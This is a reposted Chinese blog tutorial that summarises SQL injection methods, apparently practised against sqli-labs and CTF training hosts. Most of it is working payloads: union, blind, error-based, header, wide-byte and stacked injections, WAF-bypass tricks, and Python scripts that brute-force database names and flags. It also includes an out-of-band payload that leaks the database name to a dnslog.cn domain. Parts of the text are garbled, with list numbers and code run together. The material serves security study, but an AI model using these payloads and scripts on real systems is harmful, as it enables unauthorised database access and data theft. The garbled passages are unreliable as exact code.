0


sql注入大总结【万字详解】

文章目录

靶场地址:链接:https://pan.baidu.com/s/1GgUUfG4QLUM5LTwbNCzb3A?pwd=cong

数据库的架构

  • access数据库无数据库用户
  • mysql数据库- mysql类型一- root(自带默认)- 网站A testA- 网站B testB- - mysql类型二- testA用户- 网站A testA- testB用户- 网站B testB-
  • mysql数据库名称含义- information_schema:存储数据库下的数据库名、表名及列名信息的数据库。information_schema.schemata:记录数据库名信息的表。information_schema.tables:记录表名信息的表。information_schema.columns:记录列名信息的表。schema_name:在information_schema.schemata中,用于记录数据库名的列名值。table_schema:在information_schema.tables中,用于记录数据库名的列名值。table_name:在information_schema.tables中,用于记录表名的列名值。column_name:在information_schema.columns中,用于记录列名的字段。- 示例- 在information_schema.schemata中的schema_name- - 在information_schema.tables中的table_name- - 在information_schema.columns中的column_name-

sql注入

  1. 概念1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句1. 2.
  3. 正常回显页面1.
  4. 在页面中使用sql语句1. 查有多少字段1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+1. 2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段1. 2. 查数据库名称1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+2. 3. 查表名1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+2. 3. 查字段1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+2. 4. 对应字段的值5. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+6.
  5. 跨库查询1. 查数据库名1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+2. 2. 查表名1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+2. 3. 查字段1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+2. 4. 查字段的值1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+2.

sql文件读写

  1. 影响条件1. 当前数据库用户的权限2. secyre-file-priv设置
  2. 复现1. 2. 3. ##### 读写的路径的问题1. 报错显示获取路径2. phpinfo页面泄露3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型1. 数字型1. select * from news where id=$id;2. 字符型1. select * from news where id=‘$id’;3. 搜索型1. select * from news where id like ‘%id%’;4. 框架型1. select * from news where id=(‘$id’);2. select * from news where (id=‘$id’);
  2. sql注入请求方式:1. get,post,files,http头等1. user-agent1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];2. cookie1. 语句: c = c= c=_COOKIE[‘c’];3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];2. 4. Referer:请求来源–从哪个网站来的1. 语句: r = r= r=_REQUEST[‘r’];5. Host:指定自己想访问的web服务的域名/ip地址和端口号
  3. sql注入数据请求格式1. json格式1. 2. base64格式1.

数据库的增删改查

  1. 数据库查询1. SELECT * FROM news where id=$id
  2. 数据库添加1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除1. DELETE FROM news where id=$id
  4. 数据库修改1. UPDATE news SET id=$id

盲注

常用的爆破参数:

可见字符ascii码:
3233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126
常见的爆破参数:
python标准库(可见字符):chars=string.ascii_letters+string.digits+string.putctuation
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0-20数字
------01234567891011121314151617181920
  1. 时间1. 概念1. 通过时间判断语句是否成功执行来解决无回显问题2. and sleep(1);1. 3. and if(1>2,sleep(5),0);1. 4. #### 复现1. 页面无论输入什么都不报错,回显1. 2. 猜测时间盲注1. payload:1' and sleep(5)%232. 3. 放入攻击模块进行爆破,爆破数据库 payload:?id=1' and if((substr(database(), §1§, 1))='§S§', sleep(5), null)%23//得到数据库名SQL101. 2. 4. 爆破表名长度1. payload?id=1'and If(length((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1))=5,sleep(10),1)#2. 3. 5. 爆破表名1. payload?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1),1,1))=117,sleep(100000),1)#2. 3. 6. 爆破字段长度1. payload?id=1'and If(length((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1))=4,sleep(100000),1)#2. 3. 7. 爆破第四个字段名1. payloadid=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1),1,1))=102,sleep(100000),1)#2. 3. 8. 爆破数据1. paoload可以使用脚本,也可以使用bpimport requestsimport stringchars = string.digits + string.ascii_letters + “{}!@#$_”url = “http://192.168.17.87:3010/?id=1”flag = ‘’for i inrange(1,55):if “}” in flag:breakfor char in chars:payload = “’ andif(ascii(substring((select flag from users),%d,1))=’%s’,sleep(3),3)---”%(i,ord(char))try:result = requests.get(url + payload, timeout=2)except:flag = flag + charprint(flag)break2.

  2. 布尔1. ##### 概念1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量,页面返回或sql返回结果只有两种因该要先到布尔注入2. and length(database())=7;1. 3. and left(database(),2)=‘pi’1. 4. and substr(database(),1,1)=‘p’1. 2. ##### 复现1. 页面输出?id=1'--+无回显 输入?id=1'有回显1. 2. 查数据库名的长度1. http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and(length(database()))>4--+//有回显 http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and(length(database()))>5--+//无回显3. 查数据库名1. payload:?id=1'and%20ascii(substr(database(),§1§,1))>§82§--+2. 3. 4. 查表名1. payload:?id=1'%20and%20(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),§1§,1)))=§100§--+2. 3. 5. 爆破字段1. payload:?id=1'%20and%20(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema='SQL09'%20and%20table_name='users'%20limit%203,1),§S§,1)))=§S§--+2. 3. 6. 爆破数据1. payload可以脚本,可以bpbp的payload:?id=1'%20and%20hex(left((select%20flag%20from%20SQL09.users),1))=hex('S')--+脚本如下:import requestsimport stringchars = string.digits + string.ascii_letters +"{}!@#$_"url ="http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/"flag =''for i inrange(1,20):if"}"in flag:breakfor char in chars: tmp = flag + char payload ="?id=1'/**/and/**/hex(left((select/**/flag/**/from/**/SQL09.users),%d))=hex('%s')--+"%(i, tmp)//?id=1' and left((select hex(flag) from users),%d)=hex('%s')---也行//?id=1' and left((select flag from SQL09.users),%d)='%s'--+也行 result = requests.get(url + payload)# print(payload)if"SangFor"in result.text: flag = flag + char print(flag)break

  3. 报错1. ##### 概念1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数2. updatexml函数1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)1. 3. extractvalue函数1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));1. 4. flor函数1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)2. 5. NAME_CONST报错1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (selectfrom(select name_const(version(),0))a join (select name_const(version(),0))b)c)2. 2. ##### 复现1. 查字段数1. payload:?id=-1" order by 5%232. 2. 查数据库名1. payload:?id=-1" and updatexml(1,concat(0x7e,(database())),0)%232. 3. 查表名1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='SQL08'),0x7e),0x7e)%232. 4. 查看字段名1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),0x7e)%232. 5. 查数据1. payload:?id=-1" and updatexml(1,concat(1,(select substr(flag,1,31) from users limit 0,1)),1)%232.

二次注入

  1. 插入恶意发数据1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)# 转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)# 数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:1. 2. 主要源码register.phpif ($_SERVER['REQUEST_METHOD'] === 'POST'){ $username = addslashes($_POST['username']); $password = $_POST['password']; // 插入新用户记录 $query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";===================================================================================changepassword.php$query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'"; $result = mysqli_query($connection, $query) or die(mysqli_error($connection));if (mysqli_num_rows($result) > 0){ // 更新密码 $query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'"; $updateResult = mysqli_query($connection, $query);if ($updateResult){ echo "Password changed successfully!";}else{ echo "Failed to change password!";}}else{ echo "Invalid username or current password!";}
  5. 堆叠注入1. 条件1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询3. 存在sql漏洞并未对‘;‘进行过滤2. 示例:[强网杯 2019]随便注 1';show databases;//注意不是database()';show tables;1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思解法二:1'; handler `1919810931114514` open as a; handler a read next;#解读:handler代替select,以一行一行显示内容open打开表as更改表的别名为aread next读取数据文件内的数据次数解法三:1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#解读:-- 重命名表 words 为 BaiMaoRENAME TABLE words TO BaiMao;-- 重命名表 1919810931114514 为 wordsRENAME TABLE `1919810931114514` TO words;-- 向表 words 添加一个自动递增的 id 列,并设为主键ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;-- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)ALTER TABLE words CHANGE flag data VARCHAR(100);-- 注释掉之后的内容

带外注入

  1. 条件1. root高权限2. 数据库支持load_file函数
  2. 示例:1. SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//',(SELECT DATABASE()),'.k7e9z3.dnslog.cn'))); 实战碰到的概率不大,演示不了,payload如上所示

宽字节注入

  1. 介绍1. 进行闭合 mysql 在使用 GBK 编码的时候,如果第一个字符的 ASCII 大于128 ,mysql 会认为两个字符为一个汉字,例如 %aa%5c 就是一个汉字。我们在过滤 ’ 的时候,往往利用的思路是将 ’ 转换为 ’ 。当我们输入“%df’”时,如果使用了转义函数,就会变成“%df’”,mysql 认为“%df\”为一个汉字,那后面的单引号就逃逸出来了。
  2. 复现1. 在网址输入id=1正常回显,输入’也正常回显,输入and 1=2也也正常回显,可能对’过滤了,也可能是预编译无法注入,只能想办法绕过1. 2. 经过一下payload确认是宽字节注入,对’进行过滤1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and1=2--+//不正常回显 http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and1=1--+//正常回显3. 获取回显数字1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,3,4,5%234. 查看数据库1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,database(),4,5%23 获取数据库名SQL075. 查看数据表名1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5from information_schema.tables where table_schema=0x53514c3037%23 http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5from information_schema.tables where table_schema=database()%23 两个都行,都可以避开',得到表名users6. 查看表名1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,group_concat(column_name),4,5from information_schema.columns where table_name=0x7573657273%23 用16进制就避开'的过滤,得到表名id,username,password,flag,reg_date7. 获取数据1. http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,flag,4,5from users %23

数据包头注入

  1. usergent注入1. 首页usergent信息,用单引号发现报错,尝试报错注入1. 2. 普通的报错注入发现行不通,根据sql语句报错1. 3. 根据sql报错语句提示,因该少了个单引号,并用单引号连接,成功过注入1. payload'+updatexml(1,concat(0x7e,(database())),0)+'2. 4. 按照以上格式,可以制作payload1. 查数据库名 '=updatexml(1,concat(0x7e,(database())),0)=' 查询所有表 User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 查询users表的所有字段 User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +' 获取Flag User-Agent:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
  2. referer头注入1. referer分析过程同上1. 2. payload查数据库名'=updatexml(1,concat(0x7e,(database())),0)='查询所有表Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 查询users表的所有字段Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +'获取FlagReferer:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
  3. cookie头注入1. cookie分析过程同上2. paylaod

MD5注入

  1. 源代码:1. <?php include 'conn.php'; error_reporting(0); $action = isset($_GET['action']) ? $_GET['action']:'';if($action ==='login'){ $username = addslashes($_POST['username']);//addslashes用来将字符串进行转义,防止sql注入,但是如果使用不当就有可能导致堆叠注入 $password = md5($_POST['password']); $sql ="SELECT password FROM users where username = '". $username ."'"; $res = mysql_query($sql)or die(mysql_error()); $row = mysql_fetch_row($res);if($row[0]=== $password){ echo $flag;}else{ echo 'username or password error.';} mysql_close($con);} ?>
  2. 解读1. 首先get传参action位login进入if条件2. res变量存储的是sql查询语句的结果集,当传入的username为空时,他也为空3. 然后再继续配合md5 无法处理数组的漏洞,抓包将password 的类型修改为数组类型,password值也变为空,这样就强相等了4. payload:get:action=loginpost:username=&password[]=5.

常量突破注入

  1. 源代码1. <?php include 'conn.php'; error_reporting(0); $action = isset($_GET['action']) ? $_GET['action']:'';if($action ==='login'){if(strlen($_POST['username'])>30){ exit('username limit 30 characters');} $username = $_POST['username']; $password = md5($_POST['password']); $sql ="SELECT password FROM users where username = '". $username ."'"; $res = mysql_query($sql)or die(mysql_error()); $row = mysql_fetch_row($res);if(isset($row[0])){if($row[0]=== $password){ echo $flag;}else{ echo 'password error.';}}else{ echo 'username error.';} mysql_close($con);} ?> payload: get: action=login post: username=' union select md5(1)%23&password=1
  2. 解读1. action位login进入if条件2. 我们可以让username为’ union select md5(1)#这个字符时他会构造一个新语句,这是元语句SELECT password FROM users where username = ’变量‘,注入后的语句变为SELECT password FROM users where username = ’’ union select md5(1)#‘,可以看出成功闭合了,并返回的结果为md5(1),故此时的sql为md5(1)3. 所以让其相等只需要password页尾1即可,因为后面有个加密函数

insert注入(*)

  1. 基础知识1. mid函数1. mid(‘admin’,1,2)其中2表示一组显示多少个字母,1代表第一组2. 逗号的绕过1. 我们都知道if(1,2,3)函数,其中1正确就返回2,1错误返回3,但是这个函数会有逗号,我们就可以通过case函数进行绕过,语法如下1. select CASE WHEN 1 THEN 2 ELSE 3 END //1正确就返回2,1错误就返回32. 2. 其次,我们返回flag时,由于mysql_query函数的结果字数限制,需要切分多次返回,此时就需要mid函数和limit函数了,但是mid函数会有逗号,我们就可以将其变形一下,如下1. select MID('admin'from1for1) 此函数等于select MID('admin',1,1) LIMIT 1 OFFSET 0 此函数等于LIMIT 0,1
  2. 靶场1. 重点:逗号绕过,mid,if变形,2. 看到题目,只有ip与次数(能记录次数说明可能与数据库的插入有关),捉包访问,添加XFF头,发现可以操控数据1. 3. 用dirsearch扫出index.php~,源码如下1. <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta name="viewport" content="width=device-width, initial-scale=1"/><title>Insert注入</title></head><body><?php function getIP(){if(getenv('HTTP_CLIENT_IP')){ $ip = getenv('HTTP_CLIENT_IP');} elseif (getenv('HTTP_X_FORWARDED_FOR')){ $ip = getenv('HTTP_X_FORWARDED_FOR');} elseif (getenv('HTTP_X_FORWARDED')){ $ip = getenv('HTTP_X_FORWARDED');} elseif (getenv('HTTP_FORWARDED_FOR')){ $ip = getenv('HTTP_FORWARDED_FOR');} elseif (getenv('HTTP_FORWARDED')){ $ip = getenv('HTTP_FORWARDED');}else{ $ip = $_SERVER['REMOTE_ADDR'];}return $ip;} $count =0; $ip = explode(',', getIP())[0]; error_reporting(0); $con = mysql_connect('127.0.0.1','root','')or die("Unable to connect to the MySQL!"); mysql_select_db('sql22',$con); mysql_query("set names utf8"); mysql_query("INSERT into log(ip) values('".$ip."')")or die(mysql_error()); $res = mysql_query("SELECT count(1) FROM log")or die(mysql_error()); $count = mysql_fetch_array($res)[0]; mysql_close($con); ?> 今日浏览量:<?php echo $count ?><br/> 当前访问者:<?php echo $ip ?></body></html>4. explore函数是用于获取客户端的ip,上述代码以逗号分隔,只取逗号前面部分,导致后面语句无法执行,相当于过滤逗号5. 首先爆破数据库名1. payload'+ CASE WHEN (SELECT ASCII(mid(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +''+ CASE WHEN (SELECT ASCII(SUBSTRING(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +'2. 3. 6. 爆破表名1. payload:'+ CASE WHEN (ascii(mid((SELECT table_name FROM information_schema.tables WHERE table_schema='SQL22' LIMIT 1 OFFSET 0) from §1§ for 1))=§117§) THEN sleep(500000) ELSE 3 END +'2. 3. 7. 爆字段名1. payload'+ CASE WHEN (ascii(substr((select column_name from information_schema.columns where table_schema='SQL22' and table_name='flag' limit 1 OFFSET 0)from §1§ for 1))=§102§) THEN sleep(500000) ELSE 3 END +'2. 3. 8. 爆数据1. 脚本import sysimport requestsimport stringimport timecharacters = string.ascii_letters + string.digits + string.punctuationa=''for pos inrange(25):for ch in characters: headers ={'X-Forwarded-For':"'+(case when (select ascii(mid(flag from %d for 1)) from flag)=ascii('%c') then sleep(10) else 1 end)+'"%(pos +1, ch)}try: requests.get('http://vp1lgupzu2wwn2wd.ctfw.edu.sangfor.com.cn', headers=headers, timeout=10)except requests.exceptions.Timeout: a=a+ch print(a)break2.

内联注释~边界突破

  1. 基础知识1. ###### 正则表达式表1. 2. /bunion //过滤union开头 is//不区分大小写 ---注释 /*!50000此处语句可执行*/ 可执行(内联)注释,50000为版本号
  2. 示例1. ###### 源代码1. <?php include 'conn.php'; error_reporting(0); $id= webscan_StopAttack($_GET['id']); $sql ="SELECT * FROM users where id = '". $id."'"; $res = mysql_query($sql)or die(mysql_error());while($row = mysql_fetch_array($res)){ echo $row[1]."<br>". $row[2]."<br>";} function webscan_StopAttack($string){if(preg_match("/\bunion\b|\bselect\b|\bfrom\b/is",$string)==1){ exit('Sorry My Boy!');}return $string;} ?>2. 查回显1. payloadhttp://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,2,3,4,5--+2. 3. payload如下查数据库名http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,database(),3,4,5--+查表名http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(table_name),3,4,5/*!50000from*/ information_schema.tables where table_schema="SQL20"--+查字段http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(column_name),3,4,5 /*!50000from*/ information_schema.columns where table_schema="SQL20" and table_name='users' --+查数据http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(0x5c,flag,0x5c),3,4,5/*!50000from*/SQL20.users --+

逻辑比较注入

  1. 源代码1. error_reporting(0); $action = isset($_GET['action']) ? $_GET['action']:'';if($action ==='login'){ $username = substr($_POST['username'],0,4); $password = md5($_POST['password']); $sql ="SELECT * FROM users WHERE username = '".$username."' AND password = '".$password."'"; $res = mysql_query($sql)or die(mysql_error()); $row = mysql_fetch_row($res);if(isset($row[0])){ echo $flag;}else{ echo 'username or password error.';} mysql_close($con);}
  2. substr函数之前前四位,说明长度只能在前四位有效
  3. 输出flag的条件是查询语句为真,我们可以使用’ or 1=1来闭合,但是语句超过长度为4的限制
  4. 故使用payload'<1#即可绕过,带入后语句变为SELECT * FROM users WHERE username = ''<1#' AND password = ''
  5. 故payload如下1. username='<1#&password=2.

WAF的绕过

  1. union绕过1. 考到题目,过滤一堆东西并告诉我们flag在waf01.passwd中1. 2. 可以看到过滤函数有1. # -- -这个被过滤了,可以用闭合手法2. union这个过滤了,可以用positman绕过3. 过滤逗号,可以看上面的inser注入部分来绕过4. 空格过滤空格可以用/**/或者括号来绕过3. ##### 前置知识点1. ###### 布尔注入1. select *from admin where id=''<0^''//无回显 select *from admin where id=''<1^''//有回显 由此看来可以进行布尔盲注2. 2. ###### POSITION函数1. select POSITION('in'in'administrator')//4 select POSITION('i'in'administrator')//4 select POSITION('dmin'in'administrator')//2 select POSITION('dmin'in'administrator')=2//1 select POSITION('dmin'in'administrator')=3//0 返回布尔值,可以采用布尔注入4. 先简单构造payload的框架1. ?username='<(POSITION(('a')in(waf01.passwd))=1)^'//无回显 ?username='<(POSITION(('f')in(waf01.passwd))=1)^'//有回显2. 5. 根据以上思路,写出python脚本进行爆破即可1. import requests url ="http://8xvqpeiyqunoyo4b.ctfw.edu.sangfor.com.cn/index.php?username=" flag =''for i inrange(30):for ch in'{}_1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM': tmpflag = flag + ch tmp = url +("'<(POSITION(hex('%s')IN(hex(waf01.passwd)))=1)^'"% tmpflag) rsp = requests.get(tmp)# print(tmpflag)if'username=admin'in rsp.text: flag = tmpflag # print(flag)print(tmpflag)break//好像跑到for就不行了,可能被过滤掉了,不知道是如何过滤的,不懂!!!2.

  2. 利用花括号绕过匹配1. 关键源码:flag in waf02.passwd$filter="/<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)/i";2. 没有过滤花括号,可以构造payload?username='union select{`x`1},{`x`passwd},{`x`3},{`x`4}from waf02 ---也可以使用报错注入?username='and updatexml(1,concat_ws(0x7e,0x7e,(select{`1`passwd}from waf02 )),3)%23

  3. %0a绕过空格1. 关键代码:flag in waf03.passwd$filter="/[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)/i";2. 仔细观察正则看似复杂,其实只是过滤了 union 、 select 、 from等单词边界,但并没有过滤“%0a”3. payloadusername=' union%0aselect 1,passwd,3,4%0afrom%0awaf03 ---

  4. 新手法查询1. 关键源代码:[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)2. 查数据库名1. 在当前数据表中存在字段id 使用 linestring ,如果我们传入的是存在的字段的话,就会爆出已知库、表、列。 也就是说我们可以爆破列名,这样对应数据库名,表名就会出来 ?id=' || linestring(id)---2. 3. 3. 查字段名1. payloadhttp://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' || extractvalue(1,concat(0x7e,(select *from(select *from users as a join users as b using(id,password,username))as c limit 0,1)))%232. 4. 查数据1. payloadhttp://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' ||(extractvalue(1,concat(0x7e,(select b.flag from(select 1,2,3,flag from users limit 1)as b),0x7e)))---2.

标签: sql oracle 数据库

本文转载自: https://blog.csdn.net/2301_80064376/article/details/141070081
版权归原作者 CongSec 所有, 如有侵权,请联系我们删除。

“sql注入大总结【万字详解】”的评论:

还没有评论